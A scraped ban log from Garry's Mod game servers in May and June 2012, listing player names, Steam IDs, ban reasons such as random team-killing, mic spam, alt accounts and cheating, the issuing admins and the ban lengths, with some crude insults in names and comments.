Terrorist Town 0:16:39 +Unbanned +11:58 pm 09-06-12 !<>**>/9GAG LEGION\<**<>! STEAM_0:1:35377972 mass +rdm +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 3:11:20 Unbanned +11:55 pm 09-06-12 RUNDMC STEAM_0:1:33365891 speedhack +[SP]+ +Mindtwistah Killa's Zombie Survival Server Zombie Survival +Permanent Banned +11:53 pm 09-06-12 Unknown STEAM_0:0:14490917 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 +Unbanned +11:51 pm 09-06-12 Unknown STEAM_0:1:33337601 - +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:1 Unbanned +11:51 pm 09-06-12 [N.O.O.B] BANTER WAGON STEAM_0:1:22030017 rdming ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +11:50 pm 09-06-12 USN Petty Officer Jones STEAM_0:1:19357731 mass +rdm +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 2:0:0 Unbanned +11:48 pm 09-06-12 All the black people STEAM_0:1:10646772 rdm also +name +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 1:0:0 Unbanned +11:25 pm 09-06-12 [53rd] Sprite STEAM_0:0:47511735 rdming and left ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +7:28 pm 09-06-12 $$ 420 BLUNTz $$ STEAM_0:0:16760832 RDMing the +detective and shitty mic +[SP]+ JoE CrAcKeR Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 1:1:0 Unbanned +8:19 pm 08-06-12 Falling STEAM_0:1:25245774 idiot rdm +[SP]+ OPTIMUS +PRIME Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:16:39 +Unbanned +8:24 pm 07-06-12 Unknown STEAM_0:0:10030432 RDM + discon +[SP]+ +Marked One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +2:34 pm 07-06-12 MattyDaFatty(Witch Doctor) STEAM_0:1:29431684 rdming +your karma is back down again +[SP]+ Hatcake Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 1:0:0 Unbanned +3:56 am 07-06-12 Unknown STEAM_0:1:26881255 Base Farming Dribble +Official Zombified World|Lvl Cap +10 Zombified World 7:0:0 Unbanned +3:55 am 07-06-12 Unknown STEAM_0:0:15892091 Base Farming Dribble +Official Zombified World|Lvl Cap +10 Zombified World 7:0:0 Unbanned +3:55 am 07-06-12 Unknown STEAM_0:0:26478133 Base Farming Dribble +Official Zombified World|Lvl Cap +10 Zombified World 7:0:0 Unbanned +9:15 pm 06-06-12 Unknown STEAM_0:1:44706585 Extended again :D +Norzone Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:42 pm 06-06-12 Unknown STEAM_0:1:44706585 Extended Norzone +Fretta|Tigergruppe Kommand Deathrun 7:0:0 Unbanned +5:01 pm 06-06-12 Smudgy boii xx STEAM_0:1:44706585 Ban request +Norzone Fretta|Tigergruppe Kommand Trouble in Terrorist Town +3:11:20 Unbanned +11:50 pm 05-06-12 Unknown STEAM_0:0:26702630 RDM and left Norzone +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 4:20:40 Unbanned +9:48 pm 05-06-12 looop0100 STEAM_0:0:47460890 RDM +[SP]+ EDDIE +STONE Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:30 +Unbanned +9:37 pm 05-06-12 Unknown STEAM_0:1:47248552 karma - got time wrong +: P +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 1:0:0 Unbanned +9:36 pm 05-06-12 jessevanderburgh STEAM_0:1:39504218 karma +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +9:35 pm 05-06-12 Dave Grohl STEAM_0:1:47248552 mass rdm given by you +karma gone down that much +[SP]+ Hatcake Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 3:11:20 Unbanned +8:39 pm 05-06-12 Unknown STEAM_0:0:8687166 rdm then left also your +karma is poor +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 2:2:0 Unbanned +5:21 pm 05-06-12 Hapsahaps STEAM_0:0:27517189 RDM Low Karma +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +3:43 pm 05-06-12 hamadok2002 STEAM_0:1:18780255 RDM +[SP]+ Marked +One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +2:27 pm 05-06-12 Bot01 STEAM_0:0:24308736 Propkilling +[SP]+ Marked +One [SK] Official Zombified World|Lvl Cap +10 Zombified World 1:0:0 +Unbanned +12:55 pm 05-06-12 You've got AIDS STEAM_0:0:34239589 Alt of banned ID +STEAM_0:0:17651148 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 99:11:1 Banned +12:22 am 05-06-12 ICDZ STEAM_0:1:14486446 mass rdm +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:11:20 Unbanned +12:22 am 05-06-12 Burnin It STEAM_0:0:24755232 mass rdm +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +3:11:20 Unbanned +12:21 am 05-06-12 Reconbomb STEAM_0:0:23107613 mass rdm +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +3:11:20 Unbanned +11:57 pm 04-06-12 Nobody STEAM_0:0:17651148 Extreme RDM, enjoy 100 +day ban Aion Fretta|Tigergruppe Kommand Trouble in Terrorist Town +100:0:0 Banned +11:46 pm 04-06-12 Unknown STEAM_0:0:24886796 DDODS this! > : D ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:16 pm 04-06-12 mdcool12 STEAM_0:1:51015124 mass rdm karma +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +3:11:19 Unbanned +11:06 pm 04-06-12 [M4H]Fomoly STEAM_0:0:24886796 Random accusations +Aion Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 +Unbanned +9:49 pm 04-06-12 Dribble STEAM_0:1:16289741 Test +[SP]+ OPTIMUS +PRIME Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:5 +Unbanned +9:20 pm 04-06-12 Unknown STEAM_0:0:33410025 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +1:44 pm 04-06-12 Unknown STEAM_0:1:37920189 get a new name +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:1 +Unbanned +3:38 am 04-06-12 Unknown STEAM_0:1:12901475 Ban Request Dribble +Official Zombified World|Lvl Cap +10 Zombified World 7:0:0 Unbanned +9:18 pm 03-06-12 [VECTOR] TEL-OS STEAM_0:1:25823393 Retard +[SP]+ +Marked One [SK] Official Zombified World|Lvl Cap +10 Zombified World +1:0:0 Unbanned +8:09 pm 03-06-12 Unknown STEAM_0:1:39204273 Massive RDM +[SP]+ +Marked One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town +5:5:0 Unbanned +8:05 pm 03-06-12 Lord Spidey! STEAM_0:0:14369320 Low Karma +[SP]+ +Marked One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +7:22 pm 03-06-12 not Lucas STEAM_0:1:18387965 Low Karma +[SP]+ +Marked One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +7:01 pm 03-06-12 EnDansk STEAM_0:1:13318453 RDM +[SP]+ Marked One +[SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +6:51 pm 03-06-12 â??â?©â??(â?£_â?¢)â??â?©â?? STEAM_0:0:29941076 +Change your name ( 1min ban ) +[SP]+ Marked One [SK] +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:1 Unbanned +6:45 pm 03-06-12 Unknown STEAM_0:1:42618073 Karma, rdming +[SP]+ +Marked One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +6:24 pm 03-06-12 Sonny <3 STEAM_0:1:13414517 Low karma +[SP]+ Marked +One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +3:21 pm 03-06-12 Unknown STEAM_0:0:31335272 RDM + discon +[SP]+ +Marked One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +2:57 pm 03-06-12 Unknown STEAM_0:0:37677482 RDM + discon +[SP]+ +Marked One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +12:24 pm 03-06-12 Unknown STEAM_0:0:34476627 Llixo Official +Zombified World|Lvl Cap +10 Zombified World 3:11:20 Unbanned +12:12 pm 03-06-12 Unknown STEAM_0:0:41953362 rdming + karma +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +1:01 am 03-06-12 Snuggi STEAM_0:0:10615041 Alt of banned ID +STEAM_0:1:2300612 (Console) Fretta|Tigergruppe Kommand The Stalker +Permanent Banned +6:03 pm 02-06-12 Smudgy boii xx STEAM_0:1:44706585 RDM Nemesis +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 Unbanned +4:32 pm 02-06-12 speuda STEAM_0:0:25701342 Spamming boxes and thus +lagging the server +[SP]+ Marked One [SK] Official Zombified World|Lvl +Cap +10 Zombified World 0:12:30 Unbanned +10:34 pm 01-06-12 Th3 Smurfinator STEAM_0:1:30710965 rdming all day +shit karma all day and for the last few days too +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 Unbanned +8:15 pm 01-06-12 Ä?õûÅ?ţêÅ?ŦÄ?Å?Å?Ç¿Å?Ä«Å?t STEAM_0:0:38131040 +Change your name +[SP]+ Marked One [SK] Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 0:0:1 Unbanned +2:09 am 01-06-12 Rambo Jr. STEAM_0:1:46782188 Alt of banned ID +STEAM_0:1:38216645 (Console) Official Zombified World|Lvl Cap +10 +Zombified World Permanent Banned +11:13 pm 31-05-12 Unknown STEAM_0:1:17693550 smaping cock, get a real +name +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 2:18:40 Unbanned +9:52 pm 31-05-12 jessevanderburgh STEAM_0:1:39504218 mass rdm +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +12:42 am 31-05-12 {Sk8}Mdkid3me STEAM_0:0:27698987 RDM +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +10:28 pm 30-05-12 Unknown STEAM_0:1:15472796 RDM then leaving +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +10:27 pm 30-05-12 At God STEAM_0:1:19954780 RDM +[SP]+ Danzomanzo +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +9:42 pm 30-05-12 A Knight Of Ni STEAM_0:0:25962046 faggot Llixo +Official Zombified World|Lvl Cap +10 Zombified World 0:0:10 Unbanned +9:39 pm 30-05-12 Olo Moss Of Lake-by-sideways STEAM_0:1:46059776 +RDM +[SP]+ Marked One [SK] Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:9:20 Unbanned +6:05 pm 30-05-12 Unknown STEAM_0:1:29531926 Extreme RDM then +leaving Aion Fretta|Tigergruppe Kommand Trouble in Terrorist Town +10:0:0 Unbanned +5:38 pm 30-05-12 BareL - Underground until 1.6.1 +STEAM_0:0:34124026 RDM Nemesis Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 3:0:0 Unbanned +8:34 pm 29-05-12 SauwceBauwss STEAM_0:1:45833705 ghoasting +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 6:6:0 +Unbanned +8:34 pm 29-05-12 Pork STEAM_0:0:28807380 ghoasting +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 6:6:0 Unbanned +5:46 pm 29-05-12 lolik !!Nor!! STEAM_0:1:37472478 mass rdm also your +karma +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 6:22:40 Unbanned +3:24 pm 29-05-12 d0k(73r 5kumf!du5 5h!7 (AH) STEAM_0:0:43678625 then +try to unban yourself if you're an admin Azureus Killa's Zombie +Survival Server Zombie Survival 1:1:0 Unbanned +1:46 pm 29-05-12 Unknown STEAM_0:1:41348411 wanted to be banned +Llixo Official Zombified World|Lvl Cap +10 Zombified World 6:22:40 +Unbanned +4:15 am 29-05-12 The Magical Gandhi STEAM_0:0:16672958 Mass RDM ++[SP]+ Anime Fretta|Tigergruppe Kommand Trouble in Terrorist Town +4:4:0 Unbanned +4:02 am 29-05-12 ICDZ STEAM_0:1:14486446 RDM +[SP]+ Anime +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:18:40 Unbanned +5:58 pm 28-05-12 Unknown STEAM_0:0:8291384 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +5:23 pm 28-05-12 Kødtulipan STEAM_0:0:16613813 Alt of banned ID +STEAM_0:1:16585983 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +4:30 pm 28-05-12 Ã?É«Æ? _*Tic-Tac*_-[F.S]- STEAM_0:0:20384027 RDM +constantly. 800 karma. Holy Dribble Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 7:0:0 Unbanned +4:20 pm 28-05-12 Usoundjellybro STEAM_0:1:16585983 RDM. Fuck off. +Holy Dribble Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:45 am 28-05-12 Unknown STEAM_0:0:39711441 Being a massive turd +Dave from surrey Official Zombified World|Lvl Cap +10 Zombified +World Permanent Banned +11:40 pm 27-05-12 Nardr@ X5 STEAM_0:1:26028052 RDMing/Ghosting +Aion Fretta|Tigergruppe Kommand Trouble in Terrorist Town 10:0:0 +Unbanned +11:21 pm 27-05-12 Raulkill STEAM_0:0:10030432 Mass RDM +[SP]+ +Anime Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:18:40 +Unbanned +11:15 pm 27-05-12 Unknown STEAM_0:1:40003695 RDM +[SP]+ Anime +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:18:40 Unbanned +6:11 pm 27-05-12 Unknown STEAM_0:0:13376709 Deleting base Llixo +Official Zombified World|Lvl Cap +10 Zombified World 6:22:40 Unbanned +1:28 am 27-05-12 Unknown STEAM_0:0:23930541 Exploiting turd Llixo +Official Zombified World|Lvl Cap +10 Zombified World 13:21:20 Unbanned +11:35 pm 26-05-12 Unknown STEAM_0:1:30771078 RDM then leaving +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +10:05 pm 26-05-12 Master Cheif STEAM_0:1:43338699 RDM +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +7:10 pm 26-05-12 Rainbow Dash STEAM_0:1:11691910 rdm +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:15 +Unbanned +7:10 pm 26-05-12 [T.N.A] Nocturnal Corp STEAM_0:0:38097819 rdm ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:15 Unbanned +6:53 pm 26-05-12 texstardme STEAM_0:1:15175141 time wasteing +teamkilling shit head +[SP]+ Hatcake Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 3:11:20 Unbanned +6:50 pm 26-05-12 Unknown STEAM_0:1:37224684 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 +Unbanned +5:14 pm 26-05-12 cmoozilla STEAM_0:0:5228221 rdming +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +9:09 am 26-05-12 Riddick STEAM_0:1:21516868 Basing Offmap +[SP]+ +Marked One [SK] Official Zombified World|Lvl Cap +10 Zombified World +5:5:0 Unbanned +9:08 am 26-05-12 Sniper Elite STEAM_0:0:19987433 Basing Offmap ++[SP]+ Marked One [SK] Official Zombified World|Lvl Cap +10 Zombified +World 5:5:0 Unbanned +10:57 pm 25-05-12 Womboat STEAM_0:1:2300612 bye now +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +10:39 pm 25-05-12 Harwood97 STEAM_0:0:30236188 rdming t buddy and no +talk? +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 2:0:0 Unbanned +8:32 pm 25-05-12 nik-veresch STEAM_0:1:50256674 Radming +[SP]+ +Marked One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town +3:20:30 Unbanned +5:21 pm 25-05-12 Unknown STEAM_0:1:34070382 Ban request +[SP]+ +Danzomanzo Official Zombified World|Lvl Cap +10 Zombified World +4:0:0 Unbanned +8:31 pm 23-05-12 IcyBeach (Pidgey) STEAM_0:1:27874525 Low karma RDM ++[SP]+ Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 1:0:0 Unbanned +3:30 pm 23-05-12 STEAM_0:0:26025741 CCD Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 0:1:40 Unbanned +4:56 am 23-05-12 Kamikaze STEAM_0:1:29071053 Heavy Racism +[SP]+ +Kaede Fretta|Tigergruppe Kommand GarryWare 6:22:40 Unbanned +11:38 pm 22-05-12 Singham STEAM_0:1:15472796 RDM, attempted RDM and +690 Karma. Holy Dribble Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 3:0:0 Unbanned +11:36 pm 22-05-12 Maverik315 STEAM_0:0:31595134 Claimed to be T and +RDM constantly. Holy Dribble Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 4:0:0 Unbanned +9:47 pm 21-05-12 (MG)Mr.AngryEyes! STEAM_0:1:28267770 RDM Llixo +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:16:40 Unbanned +9:43 pm 21-05-12 EgN-R|Apple Cider STEAM_0:0:47340849 RDM. Been +warned. Holy Dribble Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 3:0:0 Unbanned +9:40 pm 21-05-12 (MG) wakka STEAM_0:1:31763589 RDM, 3 times is not +accidental +[SP]+ Anime Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:9:20 Unbanned +10:13 pm 20-05-12 Unknown STEAM_0:1:33878748 mass rdm +[SP]+ Anime +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 5:13:20 Unbanned +9:11 pm 20-05-12 [VECTOR] TEL-OS STEAM_0:1:25823393 FAction exploit +Llixo Official Zombified World|Lvl Cap +10 Zombified World 13:21:20 +Unbanned +8:12 pm 20-05-12 Unknown STEAM_0:1:7517466 Deleting base Llixo +Official Zombified World|Lvl Cap +10 Zombified World 6:22:40 Unbanned +4:01 pm 20-05-12 ShmorgsTer STEAM_0:0:48177475 RDM x3 Nemesis +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:0:0 Unbanned +7:42 am 20-05-12 Soap baburu (Music d-.-b) STEAM_0:0:17230886 Alt of +banned ID STEAM_0:0:10089448 (Console) Official Zombified World|Lvl +Cap +10 Zombified World Permanent Banned +9:59 pm 19-05-12 ArcticSh0TH1M578 STEAM_0:0:39711441 Abusing factions +and being a douche Llixo Official Zombified World|Lvl Cap +10 +Zombified World 6:22:40 Unbanned +8:23 pm 18-05-12 Unknown STEAM_0:1:15472796 Rdming and discon +[SP]+ +Marked One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +8:22 pm 18-05-12 Gasithan STEAM_0:1:19954780 RDM +[SP]+ Marked One +[SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +11:07 pm 17-05-12 Unknown STEAM_0:1:35888933 RDM is gay +[SP]+ JoE +CrAcKeR Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:1:0 +Unbanned +10:53 pm 16-05-12 Singham STEAM_0:1:15472796 RDM Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +10:53 pm 16-05-12 Gorilla STEAM_0:1:19954780 RDM Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +5:13 pm 16-05-12 [BSU] Nastynick STEAM_0:0:27366157 rdm <[FoT]> +.ExEcute Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 +Unbanned +5:06 pm 16-05-12 R3D | Ping Me Back Homie STEAM_0:0:25440181 rdm +<[FoT]> .ExEcute Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:1:0 Unbanned +4:36 pm 16-05-12 Marius[LTU] STEAM_0:0:19288990 rdm <[FoT]> +.ExEcute Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:2:0 +Unbanned +2:48 pm 15-05-12 KOMENTAJAKOISTINEN STEAM_0:1:18004550 RDM, ignoring +admin. +[SP]+ Danzomanzo Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +2:18 am 15-05-12 Unknown STEAM_0:1:19064115 Goombastomping Nemesis +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +2:08 am 15-05-12 zombie clown STEAM_0:0:41393559 Squeeky voice and +RDM Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town +7:0:0 Unbanned +1:09 am 15-05-12 Wolfpac STEAM_0:1:42350795 Revenge RDM Nemesis +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 Unbanned +12:35 am 15-05-12 -vG- ShardTheOwl STEAM_0:0:45410063 Mic Spamming. +Fuck off! Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 5:0:0 Unbanned +12:30 am 15-05-12 Unknown STEAM_0:1:42339237 Mic Spamming. Fuck +off! Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town +7:0:0 Unbanned +6:16 am 14-05-12 outbak STEAM_0:0:26564556 Takeing guns from +unparticipated war +[SP]+ Anime (sadface) Official Zombified World|Lvl +Cap +10 Zombified World 2:2:0 Unbanned +8:19 pm 13-05-12 Unknown STEAM_0:1:26147758 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +6:14 pm 13-05-12 Unknown STEAM_0:1:46271619 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +4:17 pm 13-05-12 LoreN STEAM_0:1:10895704 rdming as the D +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +3:52 pm 13-05-12 Unknown STEAM_0:0:28940350 mass rdm then left ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +34:17:20 Unbanned +11:59 pm 12-05-12 A Knight Of Ni STEAM_0:0:25962046 BIATCH! Llixo +Official Zombified World|Lvl Cap +10 Zombified World 0:0:10 Unbanned +10:55 pm 12-05-12 .:C7:. Stealth The Fox STEAM_0:0:25348351 deleting +base Llixo Official Zombified World|Lvl Cap +10 Zombified World +6:22:40 Unbanned +8:39 pm 12-05-12 Forever Alone STEAM_0:1:41265141 Your karma is like, +500. Fuck off or something Spellknite Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 0:20:20 Unbanned +10:05 am 12-05-12 [Xite-A] EMPOLEON STEAM_0:1:12495999 Prop pushing +Llixo Official Zombified World|Lvl Cap +10 Zombified World 1:9:20 +Unbanned +7:42 pm 10-05-12 TheCreeper STEAM_0:1:23118418 I told you to shut up, +now you will pay the price Aion Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +5:27 pm 10-05-12 Ladiux STEAM_0:1:19147578 BTW, Aion ( me ) is an +admin, you are now perma ' d Aion Fretta|Tigergruppe Kommand Trouble +in Terrorist Town Permanent Banned +8:54 pm 09-05-12 Unknown STEAM_0:1:7741545 ban should be up now : P ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:1 Unbanned +8:53 pm 09-05-12 Unknown STEAM_0:1:27031625 got tags but not in SP ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +3:11:20 Unbanned +11:12 pm 08-05-12 Hell fire unit Pyro STEAM_0:0:34915538 teamkill +MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +10:02 pm 08-05-12 Anajamois STEAM_0:0:24788990 Dickhead Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +10:33 pm 07-05-12 F1nduz STEAM_0:1:7741545 mass rdm for atleast 2 +rounds +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 34:17:20 Unbanned +7:14 pm 07-05-12 Galactic Space Nazi Super SS Ma STEAM_0:1:30705741 +Perma Aion Official Zombified World|Lvl Cap +10 Zombified World +Permanent Banned +7:14 pm 07-05-12 Mario STEAM_0:0:35520164 Perma Aion Official +Zombified World|Lvl Cap +10 Zombified World Permanent Banned +4:03 pm 07-05-12 Unknown STEAM_0:0:42037866 Destroying other peoples +props +[SP]+ Anime (sadface) Official Zombified World|Lvl Cap +10 +Zombified World 1:0:0 Unbanned +3:48 pm 07-05-12 Unknown STEAM_0:1:20684813 Multiple RDMs then +leaving. +[SP]+ ULTRA Fretta|Tigergruppe Kommand Trouble in Terrorist +Town Permanent Banned +2:49 pm 07-05-12 â?¬loodâ??lot STEAM_0:0:24255629 rdm then left to +avoide karma loss and the mute +[SP]+ Hatcake Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 1:0:0 Unbanned +11:52 pm 06-05-12 Baxiel [LOOKING FOR ARMA 2:OA] STEAM_0:1:22159441 +faggot : ) Llixo Official Zombified World|Lvl Cap +10 Zombified +World 3:11:20 Unbanned +6:48 pm 06-05-12 Unknown STEAM_0:1:36009954 Killing a fellow traitor +then leaving +[SP]+ ULTRA Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 2:0:0 Unbanned +12:14 pm 06-05-12 Donald Duck STEAM_0:0:18835085 For being a retard +Aion Killa's Zombie Survival Server Zombie Survival 1:0:0 Unbanned +12:09 am 06-05-12 Dark STEAM_0:0:24804467 rdming all night +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +12:05 am 06-05-12 Sir Hank J. Wimbleton STEAM_0:1:36404924 rdming +someone who was helping you and being a cock +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:2:0 Unbanned +10:56 pm 05-05-12 Elly.poos STEAM_0:1:47248552 rdming and bing a +cock +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 2:0:0 Unbanned +10:55 pm 05-05-12 Solaire STEAM_0:0:35926631 rdming +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:5:0 Unbanned +9:27 pm 05-05-12 -={jghalflife97}=- STEAM_0:0:35704595 +[SP]+ +Mindtwistah Killa's Zombie Survival Server Zombie Survival 1:1:0 +Unbanned +9:06 pm 05-05-12 Unknown STEAM_0:1:19292346 Mic Spamming +Constantly. Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 7:0:0 Unbanned +3:07 pm 05-05-12 xXxTFR BadjackxXx STEAM_0:1:33091893 RDM Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +12:29 am 05-05-12 Unknown STEAM_0:0:19617520 Cheat: elebot +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:24 am 05-05-12 Unknown STEAM_0:0:19617520 Cheat: elebot +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:24 am 05-05-12 Unknown STEAM_0:0:41307538 Cheat: tame (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +12:23 am 05-05-12 Unknown STEAM_0:1:11769924 Cheat: coma (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +12:23 am 05-05-12 Unknown STEAM_0:0:19338100 Cheat: coma (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +12:23 am 05-05-12 Unknown STEAM_0:0:21479539 Cheat: coma (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +12:23 am 05-05-12 Unknown STEAM_0:1:29640664 Cheat: coma (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +12:23 am 05-05-12 Unknown STEAM_0:1:34174066 Cheat: coma (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +12:20 am 05-05-12 Unknown STEAM_0:1:29812493 Cheat: tame (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +12:19 am 05-05-12 Unknown STEAM_0:0:49791119 Cheat: hh (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +12:19 am 05-05-12 Unknown STEAM_0:0:26325520 Cheat: hh (Console) +Fretta|Tigergruppe 